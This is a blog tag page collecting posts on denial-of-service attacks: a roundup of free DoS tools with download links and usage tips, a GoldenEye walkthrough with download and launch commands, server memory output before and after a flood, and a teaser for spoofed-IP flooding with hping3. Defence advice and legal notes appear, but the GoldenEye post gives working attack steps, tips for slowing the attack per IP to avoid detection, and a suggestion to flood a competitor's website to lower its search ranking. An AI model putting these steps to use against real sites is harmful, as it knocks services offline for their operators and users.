Home Tags Posts tagged with "Denial of Service Attack"
Tag:

Denial of Service Attack

Free DOS Attack Tools - DoS attack - blackMORE Ops
Denial-of-Service Attack (DoS)How toKali LinuxLinuxSecurity

Free DoS Attack Tools

by blackMOREOps
written by blackMOREOps

Short for denial-of-service attack, a type of attack on a network that is designed to bring the network to its knees by flooding it with useless traffic. Many DoS attacks, such as the Ping of Death and Teardrop attacks, exploit limitations in the TCP/IP protocols. We will review some of the best and free DoS attack tools in this post. Free DoS Attack Tools - DoS attack - blackMORE Ops

In computing, a denial-of-service (DoS) attack is an attempt to make a machine or network resource unavailable to its intended users, such as to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet. A distributed denial-of-service (DDoS) is where the attack source is more than one–and often thousands–of unique IP addresses.

Criminal perpetrators of DoS attacks often target sites or services hosted on high-profile web servers such as banks, credit card payment gateways; but motives of revenge, blackmail or activism can be behind other attacks.

The denial of service (DoS) attack is one of the most powerful attacks used by hackers to harm a company or organization. Don’t confuse a DoS attack with DOS, the disc operating system developed by Microsoft. This attack is one of most dangerous cyber attacks. It causes service outages and the loss of millions, depending on the duration of attack. In past few years, the use of the attack has increased due to the availability of free tools. This tool can be blocked easily by having a good firewall. But a widespread and clever DoS attack can bypass most of the restrictions. In this post, we will see more about the DoS attack, its variants, and the tools that are used to perform the attack. We will also see how to prevent this attack and how not to be the part of this attack.

What Is a Denial of Service Attack?

A DoS attack is an attempt to make a system or server unavailable for legitimate users and, finally, to take the service down. This is achieved by flooding the server’s request queue with fake requests. After this, server will not be able to handle the requests of legitimate users.

In general, there are two forms of the DoS attack. The first form is on that can crash a server. The second form of DoS attack only floods a service.
DDoS or Distributed Denial of Service Attack

This is the complicated but powerful version of DoS attack in which many attacking systems are involved. In DDoS attacks, many computers start performing DoS attacks on the same target server. As the DoS attack is distributed over large group of computers, it is known as a distributed denial of service attack.

To perform a DDoS attack, attackers use a zombie network, which is a group of infected computers on which the attacker has silently installed the DoS attacking tool. Whenever he wants to perform DDOS, he can use all the computers of ZOMBIE network to perform the attack.

In simple words, when a server system is being flooded from fake requests coming from multiple sources (potentially hundreds of thousands), it is known as a DDoS attack. In this case, blocking a single or few IP address does not work. The more members in the zombie network, more powerful the attack it. For creating the zombie network, hackers generally use a Trojan.

There are basically three types of DDoS attacks:

  1. Application-layer DDoS attack
  2. Protocol DoS attack
  3. Volume-based DDoS attack

Application layer DDoS attack: Application-layer DDoS attacks are attacks that target Windows, Apache, OpenBSD, or other software vulnerabilities to perform the attack and crash the server.

Protocol DDoS attack: A protocol DDoS attacks is a DoS attack on the protocol level. This category includes Synflood, Ping of Death, and more.

Volume-based DDoS attack: This type of attack includes ICMP floods, UDP floods, and other kind of floods performed via spoofed packets.

There are many tools available for free that can be used to flood a server and perform an attack. A few tools also support a zombie network to perform DDoS attacks. For this post, we have compiled a few freely available DoS attacking tools.

Free DoS Attack Tools

1. LOIC (Low Orbit Ion Canon)

LOIC is one of the most popular DoS attacking tools freely available on the Internet. This tool was used by the popular hackers group Anonymous against many big companies’ networks last year. Anonymous has not only used the tool, but also requested Internet users to join their DDoS attack via IRC.

It can be used simply by a single user to perform a DoS attack on small servers. This tool is really easy to use, even for a beginner. This tool performs a DoS attack by sending UDP, TCP, or HTTP requests to the victim server. You only need to know the URL of IP address of the server and the tool will do the rest.

You can see the snapshot of the tool above. Enter the URL or IP address and then select the attack parameters. If you are not sure, you can leave the defaults. When you are done with everything, click on the big button saying “IMMA CHARGIN MAH LAZER” and it will start attacking on the target server. In a few seconds, you will see that the website has stopped responding to your requests.

Free DoS Attack Tools - LOIC - blackMORE Ops

This tool also has a HIVEMIND mode. It lets attacker control remote LOIC systems to perform a DDoS attack. This feature is used to control all other computers in your zombie network. This tool can be used for both DoS attacks and DDoS attacks against any website or server.

The most important thing you should know is that LOIC does nothing to hide your IP address. If you are planning to use LOIC to perform a DoS attack, think again. Using a proxy will not help you because it will hit the proxy server not the target server. So using this tool against a server can create a trouble for you.

Download LOIC here: https://sourceforge.net/projects/loic/

2. XOIC

XOIC is another nice DoS attacking tool. It performs a DoS attack an any server with an IP address, a user-selected port, and a user-selected protocol. Developers of XOIC claim that XOIC is more powerful than LOIC in many ways. Like LOIC, it comes with an easy-to-use GUI, so a beginner can easily use this tool to perform attacks on other websites or servers.

In general, the tool comes with three attacking modes. The first one, known as test mode, is very basic. The second is normal DoS attack mode. The last one is a DoS attack mode that comes with a TCP/HTTP/UDP/ICMP Message.

Free DoS Attack Tools - XOIC - blackMORE Ops

It is an effective tool and can be used against small websites. Never try it against your own website. You may end up crashing your own website’s server.

Download XOIC: https://sourceforge.net/projects/xoic/

3. HULK (HTTP Unbearable Load King)

HULK is another nice DoS attacking tool that generates a unique request for each and every generated request to obfuscated traffic at a web server. This tool uses many other techniques to avoid attack detection via known patterns.

It has a list of known user agents to use randomly with requests. It also uses referrer forgery and it can bypass caching engines, thus it directly hits the server’s resource pool.

# ----------------------------------------------------------------------------------------------
# HULK - HTTP Unbearable Load King
#
# this tool is a dos tool that is meant to put heavy load on HTTP servers in order to bring them
# to their knees by exhausting the resource pool, its is meant for research purposes only
# and any malicious usage of this tool is prohibited.
#
# author :  Barry Shteiman , version 1.0
# ----------------------------------------------------------------------------------------------

The developer of the tool tested it on an IIS 7 web server with 4 GB RAM. This tool brought the server down in under one minute.

Download HULK here: https://packetstormsecurity.com/files/112856/HULK-Http-Unbearable-Load-King.html

4. DDOSIM—Layer 7 DDoS Simulator

DDOSIM is another popular DoS attacking tool. As the name suggests, it is used to perform DDoS attacks by simulating several zombie hosts. All zombie hosts create full TCP connections to the target server.

This tool is written in C++ and runs on Linux systems.

These are main features of DDOSIM

  1. Simulates several zombies in attack
  2. Random IP addresses
  3. TCP-connection-based attacks
  4. Application-layer DDoS attacks
  5. HTTP DDoS with valid requests
  6. HTTP DDoS with invalid requests (similar to a DC++ attack)
  7. SMTP DDoS
  8. TCP connection flood on random port

Download DDOSIM here: https://sourceforge.net/projects/ddosim/

Read more about this tool here: https://stormsecurity.wordpress.com/2009/03/03/application-layer-ddos-simulator/

5. R-U-Dead-Yet

R-U-Dead-Yet is a HTTP post DoS attack tool. For short, it is also known as RUDY. It performs a DoS attack with a long form field submission via the POST method. This tool comes with an interactive console menu. It detects forms on a given URL and lets users select which forms and fields should be used for a POST-based DoS attack.

Download RUDY: https://code.google.com/p/r-u-dead-yet/

6. Tor’s Hammer

Tor’s Hammer is another nice DoS testing tool. It is a slow post tool written in Python. This tool has an extra advantage: It can be run through a TOR network to be anonymous while performing the attack. It is an effective tool that can kill Apache or IIS servers in few seconds.

Download TOR’s Hammer here: https://packetstormsecurity.com/files/98831/

7. PyLoris

PyLoris is said to be a testing tool for servers. It can be used to perform DoS attacks on a service. This tool can utilize SOCKS proxies and SSL connections to perform a DoS attack on a server. It can target various protocols, including HTTP, FTP, SMTP, IMAP, and Telnet. The latest version of the tool comes with a simple and easy-to-use GUI. Unlike other traditional DoS attacking tools, this tool directly hits the service.

Download PyLoris: https://sourceforge.net/projects/pyloris/

8. OWASP DoS HTTP POST

It is another nice tool to perform DoS attacks. You can use this tool to check whether your web server is able to defend DoS attack or not. Not only for defense, it can also be used to perform DoS attacks against a website.

Download here: https://code.google.com/p/owasp-dos-http-post/

9. DAVOSET

DAVOSET is yet another nice tool for performing DDoS attacks. The latest version of the tool has added support for cookies along with many other features. You can download DAVOSET for free from Packetstormsecurity.

Download DavoSET: https://packetstormsecurity.com/files/123084/DAVOSET-1.1.3.html

10. GoldenEye HTTP Denial Of Service Tool

DoS-website-with-GoldenEye-Layer-7-DoS-tool-with-KeepAlive-NoCache-blackMORE-Ops-4

GoldenEye is also a simple but effective DoS attacking tool. It was developed in Python for testing DoS attacks, but people also use it as hacking tool.

I’ve covered GoldenEye before. Read the guide here.

Detection and Prevention of Denial of Service Attack

A DoS attack is very dangerous for an organization, so it is important to know and have a setup for preventing one. Defenses against DoS attacks involve detecting and then blocking fake traffic. A more complex attack is hard to block. But there are a few methods that we can use to block normal DoS attack. The easiest way is to use a firewall with allow and deny rules. In simple cases, attacks come from a small number of IP addresses, so you can detect those IP addresses and then add a block rule in the firewall.

But this method will fail in some cases. We know that a firewall comes at a very deep level inside the network hierarchy, so a large amount of traffic may affect the router before reaching the firewall.

Blackholing and sinkholing are newer approaches. Blackholing detects the fake attacking traffic and sends it to a black hole. Sinkholing routes all traffic to a valid IP address where traffic is analyzed. Here, it rejects back packets.

Clean pipes is another recent method of handling DoS attacks. In this method, all traffic is passed through a cleaning center, where, various methods are performed to filter back traffic. Tata Communications, Verisign, and AT&T are the main providers of this kind of protection.

As an Internet user, you should also take care of your system. Hackers can use your system as a part of their zombie network. So, always try to protect your system. Always keep your system up to date with the latest patches. Install a good antivirus solution. Always take care while installing software. Never download software from un-trusted or unknown sources. Many websites serve malicious software to install Trojans in the systems of innocent users.

Learn more about DoS attacks and get hands on experience using these tools in our Ethical Hacking training course. Fill out the form below to receive pricing and course information.

Conclusion

In this article, we learned about the denial of service attack and tools used to perform the attack. DoS attacks are used to crash servers and disrupt service. Sony has faced this attack for a long time and lost millions of dollars. It was a big lesson for other companies who rely on server-based income. Every server should set up a way to detect and block DDoS attacks. The availability of free tools makes it easier to perform DoS attack against a website or server. Although most of these tools are only for DoS attacks, a few tools support a zombie network for DDoS attacks. LOIC is the most used and most popular DoS attacking tool. In the past few years, it has been used many times by hackers against big company’s network, so we can never deny the possibility of attack.

So, every company should take care of it and set up good level of protection against DoS attack.

Many jurisdictions have laws under which denial-of-service attacks are illegal. In the US, denial-of-service attacks may be considered a federal crime under the Computer Fraud and Abuse Act with penalties that include years of imprisonment. The Computer Crime and Intellectual Property Section of the US Department of Justice handles cases of (D)DoS. The United Kingdom is unusual in that it specifically outlawed denial-of-service attacks and set a maximum penalty of 10 years in prison with the Police and Justice Act 2006, which amended the Computer Misuse Act 1990.

Source: https://resources.infosecinstitute.com/dos-attacks-free-dos-attacking-tools/

4 comments
0 FacebookTwitterPinterestThreadsBlueskyEmail
Attack website using slowhttptest - slowloris, slow HTTP POST and slow Read attack in one tool - blackMORE Ops - 1
Denial-of-Service Attack (DoS)Kali LinuxLinuxSecurity

DoS website using slowhttptest in Kali Linux – slowloris, slow HTTP POST and slow Read attack in one tool

by blackMOREOps
written by blackMOREOps

SlowHTTPTest is a highly configurable tool that simulates some Application Layer Denial of Service attacks. It works on majority of Linux platforms, OSX and Cygwin – a Unix-like environment and command-line interface for Microsoft Windows. Attack website using slowhttptest - slowloris, slow HTTP POST and slow Read attack in one tool - blackMORE Ops - 1

It implements most common low-bandwidth Application Layer DoS attacks, such as slowloris, Slow HTTP POST, Slow Read attack (based on TCP persist timer exploit) by draining concurrent connections pool, as well as Apache Range Header attack by causing very significant memory and CPU usage on the server.

Slowloris and Slow HTTP POST DoS attacks rely on the fact that the HTTP protocol, by design, requires requests to be completely received by the server before they are processed. If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. If the server keeps too many resources busy, this creates a denial of service. This tool is sending partial HTTP requests, trying to get denial of service from target HTTP server.

Slow Read DoS attack aims the same resources as slowloris and slow POST, but instead of prolonging the request, it sends legitimate HTTP request and reads the response slowly.

Continue Reading
1 comment
0 FacebookTwitterPinterestThreadsBlueskyEmail
DoS website in Kali Linux using GoldenEye - blackMORE Ops
Denial-of-Service Attack (DoS)How toKali LinuxLinuxSecurityWindowsWordPress

DoS website in Kali Linux using GoldenEye

by blackMOREOps
written by blackMOREOps

I’ve talked about testing few DoS tools that can put heavy load on HTTP servers in order to bring them to their knees by exhausting resource pools. GoldenEye is the first of those tools and it is one of the newest I discovered in GitHub. You can DoS website in Kali Linux with GoldenEye and bring it down almost within 30 seconds depending on how big their memory pool is. Of course, it wont work on protected servers and servers behind a proper WAF, IDS, but this is a great tool to test your own Web Server for load testing and amend your iptables/Firewall rules accordingly. You can also DoS using hping3 to simulate similar attacks or PHP exploit to attack Wordpress websites. There’s also few great tools that will allow you view live DDoS attacks maps worldwide in almost realtime.
DoS website in Kali Linux using GoldenEye - blackMORE Ops

Details for GoldenEye tool is listed below:

From GoldenEye’s writer’s post:

  1. This tool is meant for research purposes only and any malicious usage of this tool is prohibited.
  2. GoldenEye is an python app for SECURITY TESTING PURPOSES ONLY!
  3. GoldenEye is a HTTP DoS Test Tool.
  4. Attack Vector exploited: HTTP Keep Alive + NoCache

Types of DoS or DDoS attacks

Let’s go over some very basic info regarding DoS or DDoS attacks. There are basically three types of DoS and DDoS attacks:

  1. Application layer DoS and DDoS attacks
  2. Protocol layer DoS and DDoS attacks
  3. Volume-based DoS and DDoS attacks

Application layer DoS and DDoS attacks

Application-layer DoS and DDoS attacks are attacks that target Windows, Apache, OpenBSD, or other software vulnerabilities to perform the attack and crash the server.

Protocol layer DoS and DDoS attacks

A protocol DoS and DDoS attacks is an attack on the protocol level. This category includes Synflood, Ping of Death, and more.

Volume-based DoS and DDoS attacks attacks

This type of DoS and DDoS attacks includes ICMP floods, UDP floods, and other kind of floods performed via spoofed packets.

The word DoS and DDoS is used loosely as when you attack from a single machine, it’s usually considered as a DoS attack. Multiply a single attacker from a botnet (or a group) then it becomes a DDoS attack. There are many explanations to it, but just know that no matter which type of attack it is, they are equally detrimental for a server/network.


     /$$$$$$            /$$       /$$                     /$$$$$$$$                    
    /$$__  $$          | $$      | $$                    | $$_____/                    
   | $$  \__/  /$$$$$$ | $$  /$$$$$$$  /$$$$$$  /$$$$$$$ | $$       /$$   /$$  /$$$$$$ 
   | $$ /$$$$ /$$__  $$| $$ /$$__  $$ /$$__  $$| $$__  $$| $$$$$   | $$  | $$ /$$__  $$
   | $$|_  $$| $$  \ $$| $$| $$  | $$| $$$$$$$$| $$  \ $$| $$__/   | $$  | $$| $$$$$$$$
   | $$  \ $$| $$  | $$| $$| $$  | $$| $$_____/| $$  | $$| $$      | $$  | $$| $$_____/
   |  $$$$$$/|  $$$$$$/| $$|  $$$$$$$|  $$$$$$$| $$  | $$| $$$$$$$$|  $$$$$$$|  $$$$$$$
    \______/  \______/ |__/ \_______/ \_______/|__/  |__/|________/ \____  $$ \_______/
                                                                     /$$  | $$          
                                                                    |  $$$$$$/          
                                                                     \______/           

This tool is a dos tool that is meant to put heavy load on HTTP servers
in order to bring them to their knees by exhausting the resource pool.

This tool is meant for research purposes only
and any malicious usage of this tool is prohibited.

@author Jan Seidl <https://wroot.org/>

@date 2014-02-18
@version 2.1

@TODO Test in python 3.x

LICENSE:
This software is distributed under the GNU General Public License version 3 (GPLv3)

LEGAL NOTICE:
THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY
THE AUTHOR (or blackMORE Ops / darkMORE Ops) DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.

 

USAGE: ./goldeneye.py  [OPTIONS]

 OPTIONS:
    Flag           Description                     Default
    -u, --useragents   File with user-agents to use                     (default: randomly generated)
    -w, --workers      Number of concurrent workers                     (default: 50)
    -s, --sockets      Number of concurrent sockets                     (default: 30)
    -m, --method       HTTP Method to use 'get' or 'post'  or 'random'  (default: get)
    -d, --debug        Enable Debug Mode [more verbose output]          (default: False)
    -h, --help         Shows this help

Download GoldenEye

I prefer to make a folder for everything. I will just do that. You do what you need to do.

root@kali:~# mkdir GoldenEye
root@kali:~# 
root@kali:~# cd GoldenEye/
root@kali:~/GoldenEye# 
root@kali:~/GoldenEye# wget https://github.com/jseidl/GoldenEye/archive/master.zip
root@kali:~/GoldenEye#

So I made a folder named ‘GoldenEye‘ and changed directory to that. Then used wget to pull down the master archive.

DoS-website-with-GoldenEye-Layer-7-DoS-tool-with-KeepAlive-NoCache-blackMORE-Ops-2

Once download completes, unzip the master.zip file.

root@kali:~/GoldenEye# unzip master.zip

DoS-website-with-GoldenEye-Layer-7-DoS-tool-with-KeepAlive-NoCache-blackMORE-Ops-3

This creates a new folder named GoldenEye-master.

root@kali:~/GoldenEye# 
root@kali:~/GoldenEye# ls
GoldenEye-master master.zip
root@kali:~/GoldenEye# 
root@kali:~/GoldenEye# cd GoldenEye-master/
root@kali:~/GoldenEye/GoldenEye-master# 
root@kali:~/GoldenEye/GoldenEye-master# ls
goldeneye.py README.md res util
root@kali:~/GoldenEye/GoldenEye-master#

DoS-website-with-GoldenEye-Layer-7-DoS-tool-with-KeepAlive-NoCache-blackMORE-Ops-4

Run GoldenEye – DoS website

This is rather easy. Following is the usage of goldeneye.py.

USAGE: ./goldeneye.py <url> [OPTIONS]

 OPTIONS:
    Flag           Description                     Default
    -u, --useragents   File with user-agents to use                     (default: randomly generated)
    -w, --workers      Number of concurrent workers                     (default: 50)
    -s, --sockets      Number of concurrent sockets                     (default: 30)
    -m, --method       HTTP Method to use 'get' or 'post'  or 'random'  (default: get)
    -d, --debug        Enable Debug Mode [more verbose output]          (default: False)
    -h, --help         Shows this help

You should schedule and announce your test window so users are aware of the possibility of an outage. Often simulations result in actual failures.

Under NO Circumstances should you run a DoS simulation/test attack against your environment without first notifying your hosting provider. This is especially true for external / full stack tests that will be going through your provider’s network.

Depending on your Linux, Windows or Mac distribution, (any OS that supports Python would do), you just use the following command:

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py https://www.goldeneyetestsite.com/
(or)
sudo ./goldeneye.py https://www.goldeneyetestsite.com/
(or)
python goldeneye.py https://www.goldeneyetestsite.com/

Depending on where you’ve saved the files, adjust your path and command.

Following is taken from my tests:

The attack

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py https://10.0.0.101/ 

GoldenEye v2.1 by Jan Seidl <[email protected]>

Hitting webserver in mode 'get' with 10 workers running 500 connections each. Hit CTRL+C to cancel.
^CCTRL+C received. Killing all workers
Shutting down GoldenEye
root@kali:~/GoldenEye/GoldenEye-master#

The whole attack lasted only 30 seconds.

The result

This is what I’ve seen in the server end

Before attack

root@someserver [~]# free -m
total used free shared buffers cached
Mem: 1024 713 302 49 9 150
-/+ buffers/cache: 552 1001
Swap: 9990 40 160

root@someserver [~]# pgrep httpd | wc -l
11

I had a massive pool of free memory and just 11 httpd workers.

After attack

root@serv1 [~]# free -m
 total used free shared buffers cached
Mem: 1024 101 90 49 9 150
-/+ buffers/cache: 3544 190
Swap: 990 40 150
root@someserver [~]# pgrep httpd | wc -l
174

I’ve now got just 101M free memory and 174 httpd workers.

Took only 15 seconds to push this server to it limit. Next we look analyse the attack that reveals interesting outcomes achieved by this DoS tool.

Analysis of the attack

Here’s the log from server end (I’ve replaced real IP with 127.0.0.1)

127.0.0.1 - - [14/Nov/2014:12:27:04 +1100] "GET /?EJNXO8HDpl=EwMajNhKxa&bxp=EtLn1&Uyb=nfs3I57ETsUtoNRo&6REd1geaR0=sFNMbxOc7e63XANWEVy HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (compatible; MSIE 6.1; Linux x86_64; .NET CLR 3.0.23444; X11)"
127.0.0.1 - - [14/Nov/2014:12:27:04 +1100] "GET /?UrHk=fKtKtWeNbLBN&csG7UX5=Ki6fUcuE5XEkJ&8DySEKmhO=LSMj3ETBpaX03mChRc&5IO=2EwW HTTP/1.1" 200 14137 "https://www.bing.com/nlkgkM" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit/536.2 (KHTML, like Gecko) Chrome/24.0.1831.78 Safari/535.36"
127.0.0.1 - - [14/Nov/2014:12:27:05 +1100] "GET /?aPI=KbwATrwa8H3ukQ&orBIDTNE=sLPeOsAykH&127f5U=EIxk3Tffk02Fgpdpx&HVorln=rbqB&svTJYQJb=FX2fuRV HTTP/1.1" 200 14159 "https://www.mysite.com/8pxaIa" "Mozilla/5.0 (Linux i386; X11) AppleWebKit/536.22 (KHTML, like Gecko) Chrome/28.0.587.10 Safari/536.31"
127.0.0.1 - - [14/Nov/2014:12:27:01 +1100] "GET /?gtVwWdM6kC=fI2pKwLaw&lUXL1=L54q1i8oRmPGs7QwdRk8 HTTP/1.1" 200 14090 "https://www.baidu.com/mS6f3Rth?15vTPOgS=gmunmncva7VmH542b&7uWmMCM=diXiLQYHm4ltd8&bqCiNt=YrNGj20&rVYVD=pBQATyepegya&OLQgK4ie2=3oIcbCB&Qtn5viuw=n4iSJxaPPXR0pshPQkh&em8Pk=5oYUVYTCaSx5Y8P33y5" "Mozilla/5.0 (Windows; U; MSIE 10.0; Linux x86_64; .NET CLR 1.1.15295; X11)"
127.0.0.1 - - [14/Nov/2014:12:27:01 +1100] "GET /?bftxjXs=qH8No3I7a&xSM=jPo2kMHPE HTTP/1.1" 200 14073 "-" "Mozilla/5.0 (Linux x86_64; X11) AppleWebKit/537.29 (KHTML, like Gecko) Chrome/17.0.1100.100 Safari/535.25"

Just looking at the logs, you can see that each line contains a different GET request with different strings and in some cases, refers to BING, BAIDU or some random search engine.

So what happens when your Web Server see’s this attack? It analyzes the incoming traffic, checks the requested URL, source address and Referrer and allow it with HTTP 200 OK. Why? Because each browser was different. I’ve highlighted some parts in RED.

This tool was designed smartly so that any server would think there are all different users trying to browse from a single IP(maybe a Proxy IP from a large organization?) with different browser (Firefox, Chrome, MSIE, Safari etc.), different Operating Systems (Mac, Linux, Windows etc.) and they even arrived via different referrer. Well, maybe the requested URL was incorrect, but a normal Web Server would either allow it, redirect it to an error page with all while the connection being left open (i.e. Apache worker/socket). A standard web server usually allows X number of concurrent users from the same IP, and with that many open connection/used socket, this type of attack puts a heavy pressure on the server and any subsequent users gets an error (HTTP 503 or similar). So the attacker with a few random proxy/VPN, can exhaust server resources quickly. He can even slow down the attack per IP to avoid initial detection:

root@kali:~/GoldenEye/GoldenEye-master# ./goldeneye.py https://www.goldeneyetestsite.com/ -w 10 -s 10 -m random

The above command uses

-w = 10 workers
-s = 10 simultenious connections
-m = random, a mix of GET and POST

A perfect DoS!

An interesting observation with Google and GoldenEye

I’ve tried this live just to see how a real web server behaves. Interestingly, I found that Google Analytics thinks this is real traffic and adds the flooder’s (though from same IP but with different referrer and browsers makes Google think that they are separate users) connections to it’s statistics. I can think of two ways to exploit it:

  • Get a higher ratings in Google as it would assume you are getting legit traffic.
  • If Google eventually can put a logic behind it, then still flood a competitors website to lower it in Google’s ranking.

I guess it cuts both ways.

Block/defend against GoldenEye attack

Following suggestions would work well when you’re using Apache:

  1. Lower per IP connection (usually it 300 per IP for Apache)
  2. Edit connection per IP threshold.
  3. Disable KeepAlive and lower Connection Timeout settings (default is 300)
  4. If you’re hosted on a Shared server, contact SysAdmin. If they can’t defend this simple attack, just migrate to a better hosting company.
  5. Use a Web application Firewall (WAF).
  6. White-list incoming queries and this attack will have no affect on your server.
  7. NGINX and Node.js seems to work better against these type of attacks.

Conclusion

GoldenEye seems like a superset (or similar) of HTTP Flooder. Both works in similar ways but GoldenEye’s NoCache and KeepAlive makes a big difference. Also, it uses an interesting way of mix-matching Browser, Operating System and Referrer which can be deceptive to a Firewall.

All in all, it’s a good tool to load test your personal website (with permission from your Hosting company), your corporate website and any web application that allows incoming GET or POST request. Use it to update your Firewall rules, Application Firewall and thus avoid future attacks.

I would be interested to hear your solution, so if you are experiencing these type of attacks, leave a comment and your solution here. Please share and RT.

19 comments
0 FacebookTwitterPinterestThreadsBlueskyEmail
Denial-of-service Attack – DoS using hping3 with spoofed IP in Kali Linux - blackMORE Ops - 51
Denial-of-Service Attack (DoS)How toKali Linux

Denial-of-service Attack – DoS using hping3 with spoofed IP in Kali Linux

by blackMOREOps
written by blackMOREOps

In computing, a denial-of-service (DoS) or distributed denial-of-service (DDoS) attack is an attempt to make a machine or network resource unavailable to its intended users. Although the means to carry out, the motives for, and targets of a DoS attack vary, it generally consists of efforts to temporarily or indefinitely interrupt or suspend services of a host connected to the Internet. In this article I will show how to carry out a Denial-of-service Attack or DoS using hping3 with spoofed IP in Kali Linux. Denial-of-service Attack – DoS using hping3 with spoofed IP in Kali Linux - blackMORE Ops - 51

As clarification, distributed denial-of-service attacks are sent by two or more persons, or bots, and denial-of-service attacks are sent by one person or system. As of 2014, the frequency of recognized DDoS attacks had reached an average rate of 28 per hour.

Perpetrators of DoS attacks typically target sites or services hosted on high-profile web servers such as banks, credit card payment gateways, and even root nameservers.

Denial-of-service threats are also common in business, and are sometimes responsible for website attacks.

This technique has now seen extensive use in certain games, used by server owners, or disgruntled competitors on games, such as popular Minecraft servers. Increasingly, DoS attacks have also been used as a form of resistance. Richard Stallman has stated that DoS is a form of ‘Internet Street Protests’. The term is generally used relating to computer networks, but is not limited to this field; for example, it is also used in reference to CPU resource management.

One common method of attack involves saturating the target machine with external communications requests, so much so that it cannot respond to legitimate traffic, or responds so slowly as to be rendered essentially unavailable. Such attacks usually lead to a server overload. In general terms, DoS attacks are implemented by either forcing the targeted computer(s) to reset, or consuming its resources so that it can no longer provide its intended service or obstructing the communication media between the intended users and the victim so that they can no longer communicate adequately.

Denial-of-service attacks are considered violations of the Internet Architecture Board’s Internet proper use policy, and also violate the acceptable use policies of virtually all Internet service providers. They also commonly constitute violations of the laws of individual nations.

hping3 works well if you have other DoS tools such as GoldenEye running (using multiple tools that attacks same site/server/service increases the chances of success). There are agencies and corporations to runs DoS attack map in Realtime. that shows worldwide DDoS attacks almost in realtime.

Continue Reading

Pages: 1 2

26 comments
0 FacebookTwitterPinterestThreadsBlueskyEmail
@2021 - All Right Reserved. Designed and Developed by PenciDesign